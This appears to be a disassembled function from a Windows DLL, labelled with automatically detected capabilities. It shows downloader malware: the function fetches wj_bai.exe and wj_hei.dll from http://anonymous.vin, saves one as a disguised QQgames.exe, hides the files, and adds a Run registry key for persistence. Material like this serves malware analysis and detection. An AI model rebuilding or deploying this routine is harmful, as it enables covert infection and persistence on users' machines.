Function at 0x18000bdd0
Capabilities:
Check if file exists
Copy file
Create http request
Download and write a file
Get file attributes
Persist via run registry key
Query or enumerate registry value
Read data from internet
Receive and write data from server to client
Receive data
Set file attributes
Set registry value
Write file on windows

Disassembly:
push rbp
push r13
push r14
lea rbp, [rsp - 0x1300]
mov eax, 0x1400
call fcn.180029420
sub rsp, rax
mov qword [rsp + 0x48], 0xfffffffffffffffe
mov qword [rsp + 0x1420], rbx
mov qword [rsp + 0x1428], rsi
mov qword [rsp + 0x1430], rdi
mov qword [rsp + 0x1438], r12
mov rax, qword [0x18003fb50]
xor rax, rsp
mov qword [rbp + 0x12f0], rax
mov qword [rbp + 0xa8], 7
xor r14d, r14d
mov qword [rbp + 0xa0], r14
mov word [rbp + 0x90], r14w
lea r8d, [r14 + 0x19]
lea rdx, str.C:UsersPublicDocuments
lea rcx, [rbp + 0x90]
call fcn.180006a30
nop
mov qword [rbp - 0x70], 7
mov qword [rbp - 0x78], r14
mov word [rsp + 0x78], r14w
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0x90]
call fcn.18000b830
lea rbx, [rsp + 0x78]
cmp qword [rbp - 0x70], 8
cmovae rbx, qword [rsp + 0x78]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000bea9
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x50], r14
mov word [rbp + 0x40], r14w
mov r8d, 0x1c
lea rdx, str.http:__anonymous.vin_dll.txt
lea rcx, [rbp + 0x40]
call fcn.180006a30
nop
lea rdx, [rbp + 0x40]
lea rcx, [rbp + 0x68]
call fcn.18000b3f0
nop
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x38]
call fcn.18000bb90
nop
lea r8, [0x180036a70]
lea rdx, [rsp + 0x78]
lea rcx, [rbp + 0xb8]
call fcn.1800122b0
nop
lea r8, [rbp + 0x68]
mov rdx, rax
lea rcx, [rbp + 0x18]
call fcn.180012390
nop
cmp qword [rbp + 0xd0], 8
jb 0x18000bf2e
mov rcx, qword [rbp + 0xb8]
call fcn.1800176d4
mov qword [rbp + 0xd0], 7
mov qword [rbp + 0xc8], r14
mov word [rbp + 0xb8], r14w
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
mov r8d, 0x25
lea rdx, str.C:UsersPublicDownloadsQQgames.exe
lea rcx, [rbp - 0x60]
call fcn.180006a30
nop
lea r12, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae r12, qword [rbp - 0x60]
lea r13, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae r13, qword [rbp - 0x38]
mov rcx, r12
call qword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x18000c075
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x18000c075
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__anonymous.vin_wj_bai.exe
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x18000c06c
lea rcx, [rbp - 0x60]
cmp qword [rbp - 0x48], 8
cmovae rcx, qword [rbp - 0x60]
lea rdx, [0x180036b68]
call fcn.180019704
mov rdi, rax
test rax, rax
je 0x18000c063
cmp dword [rsp + 0x30], 0
jbe 0x18000c05b
nop
lea r9, [rsp + 0x30]
mov r8d, 0xfff
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rsp + 0x30]
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x2f0]
call fcn.180019ef0
cmp dword [rsp + 0x30], 0
ja 0x18000c020
mov rcx, rdi
call fcn.18001a090
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
xor r8d, r8d
mov rdx, r13
mov rcx, r12
call qword [sym.imp.KERNEL32.dll_CopyFileW]
mov dword [rsp + 0x30], 1
mov dword [rsp + 0x20], r14d
xor r9d, r9d
xor r8d, r8d
xor edx, edx
lea rcx, str.RookIE_1.0
call qword [sym.imp.WININET.dll_InternetOpenW]
mov rsi, rax
test rax, rax
je 0x18000c165
mov qword [rsp + 0x28], r14
mov dword [rsp + 0x20], 0x4000000
xor r9d, r9d
xor r8d, r8d
lea rdx, str.http:__anonymous.vin_wj_hei.dll
mov rcx, rax
call qword [sym.imp.WININET.dll_InternetOpenUrlW]
mov rbx, rax
test rax, rax
je 0x18000c15c
lea rcx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rcx, qword [rbp + 0x18]
lea rdx, [0x180036b68]
call fcn.180019704
mov rdi, rax
test rax, rax
je 0x18000c153
cmp dword [rsp + 0x30], 0
jbe 0x18000c14b
nop word [rax + rax]
lea r9, [rsp + 0x30]
mov r8d, 0xfff
lea rdx, [rbp + 0x2f0]
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetReadFile]
mov r8d, dword [rsp + 0x30]
mov r9, rdi
mov edx, 1
lea rcx, [rbp + 0x2f0]
call fcn.180019ef0
cmp dword [rsp + 0x30], 0
ja 0x18000c110
mov rcx, rdi
call fcn.18001a090
mov rcx, rbx
call qword [sym.imp.WININET.dll_InternetCloseHandle]
mov rcx, rsi
call qword [sym.imp.WININET.dll_InternetCloseHandle]
lea rdx, [rsp + 0x78]
lea rcx, [rbp - 0x10]
call fcn.18000bcb0
nop
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
lea r11, [rsp + 0x30]
mov qword [rsp + 0x20], r11
lea r9, [0x180032820]
xor edx, edx
lea r8d, [rdx + 1]
lea rcx, [0x180032830]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x18000c20f
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae rdx, qword [rbp - 0x38]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
lea r8, [rsp + 0x40]
lea rdx, [0x180032850]
call qword [rax]
test eax, eax
js 0x18000c204
lea rdx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rdx, qword [rbp - 0x10]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
mov r8d, 1
call qword [rax + 0x30]
mov rcx, qword [rsp + 0x40]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
mov rcx, qword [rsp + 0x30]
mov rax, qword [rcx]
call qword [rax + reloc.WS2_32.dll_recv]
call qword [sym.imp.ole32.dll_CoUninitialize]
lea rbx, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae rbx, qword [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000c23f
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp + 0x18]
cmp qword [rbp + 0x30], 8
cmovae rbx, qword [rbp + 0x18]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000c269
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
lea rbx, [rbp - 0x10]
cmp qword [rbp + 8], 8
cmovae rbx, qword [rbp - 0x10]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x18000c293
or eax, 2
mov edx, eax
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_SetFileAttributesW]
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
or r9, 0xffffffffffffffff
xor r8d, r8d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x50]
call fcn.1800067f0
lea r11, [rsp + 0x38]
mov qword [rsp + 0x20], r11
mov r9d, 3
xor r8d, r8d
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0x18000c3c6
mov dword [rsp + 0x30], 0x208
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
lea rax, [rbp + 0xe0]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea rdx, [0x180036cf0]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
test eax, eax
jne 0x18000c379
lea rdx, [rsp + 0x50]
mov r10, qword [rsp + 0x50]
mov r11, qword [rsp + 0x68]
cmp r11, 8
cmovae rdx, r10
lea rax, [rbp + 0xe0]
sub rdx, rax
nop word [rax + rax]
movzx r8d, word [rax]
movzx ecx, word [rax + rdx]
sub r8d, ecx
jne 0x18000c365
add rax, 2
test ecx, ecx
jne 0x18000c350
test r8d, r8d
je 0x18000c3bb
lea rcx, [rsp + 0x50]
cmp r11, 8
cmovae rcx, r10
jmp 0x18000c38f
cmp eax, 2
jne 0x18000c3bb
lea rcx, [rsp + 0x50]
cmp qword [rsp + 0x68], 8
cmovae rcx, qword [rsp + 0x50]
mov eax, dword [rsp + 0x60]
lea eax, [rax + rax + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
mov r9d, 1
xor r8d, r8d
lea rdx, [0x180036cf0]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp qword [rsp + 0x68], 8
jb 0x18000c3d8
mov rcx, qword [rsp + 0x50]
call fcn.1800176d4
mov qword [rsp + 0x68], 7
mov qword [rsp + 0x60], r14
mov word [rsp + 0x50], r14w
cmp qword [rbp + 8], 8
jb 0x18000c3fc
mov rcx, qword [rbp - 0x10]
call fcn.1800176d4
mov qword [rbp + 8], 7
mov qword [rbp], r14
mov word [rbp - 0x10], r14w
cmp qword [rbp - 0x48], 8
jb 0x18000c41d
mov rcx, qword [rbp - 0x60]
call fcn.1800176d4
mov qword [rbp - 0x48], 7
mov qword [rbp - 0x50], r14
mov word [rbp - 0x60], r14w
cmp qword [rbp + 0x30], 8
jb 0x18000c43e
mov rcx, qword [rbp + 0x18]
call fcn.1800176d4
mov qword [rbp + 0x30], 7
mov qword [rbp + 0x28], r14
mov word [rbp + 0x18], r14w
cmp qword [rbp - 0x20], 8
jb 0x18000c45f
mov rcx, qword [rbp - 0x38]
call fcn.1800176d4
mov qword [rbp - 0x20], 7
mov qword [rbp - 0x28], r14
mov word [rbp - 0x38], r14w
cmp qword [rbp + 0x80], 8
jb 0x18000c483
mov rcx, qword [rbp + 0x68]
call fcn.1800176d4
mov qword [rbp + 0x80], 7
mov qword [rbp + 0x78], r14
mov word [rbp + 0x68], r14w
cmp qword [rbp + 0x58], 8
jb 0x18000c4a7
mov rcx, qword [rbp + 0x40]
call fcn.1800176d4
mov qword [rbp + 0x58], 7
mov qword [rbp + 0x50], r14
mov word [rbp + 0x40], r14w
cmp qword [rbp - 0x70], 8
jb 0x18000c4c9
mov rcx, qword [rsp + 0x78]
call fcn.1800176d4
mov qword [rbp - 0x70], 7
mov qword [rbp - 0x78], r14
mov word [rsp + 0x78], r14w
cmp qword [rbp + 0xa8], 8
jb 0x18000c4f1
mov rcx, qword [rbp + 0x90]
call fcn.1800176d4
mov rcx, qword [rbp + 0x12f0]
xor rcx, rsp
call fcn.1800176f0
lea r11, [rsp + 0x1400]
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x30]
mov r12, qword [r11 + 0x38]
mov rsp, r11
pop r14
pop r13
pop rbp
ret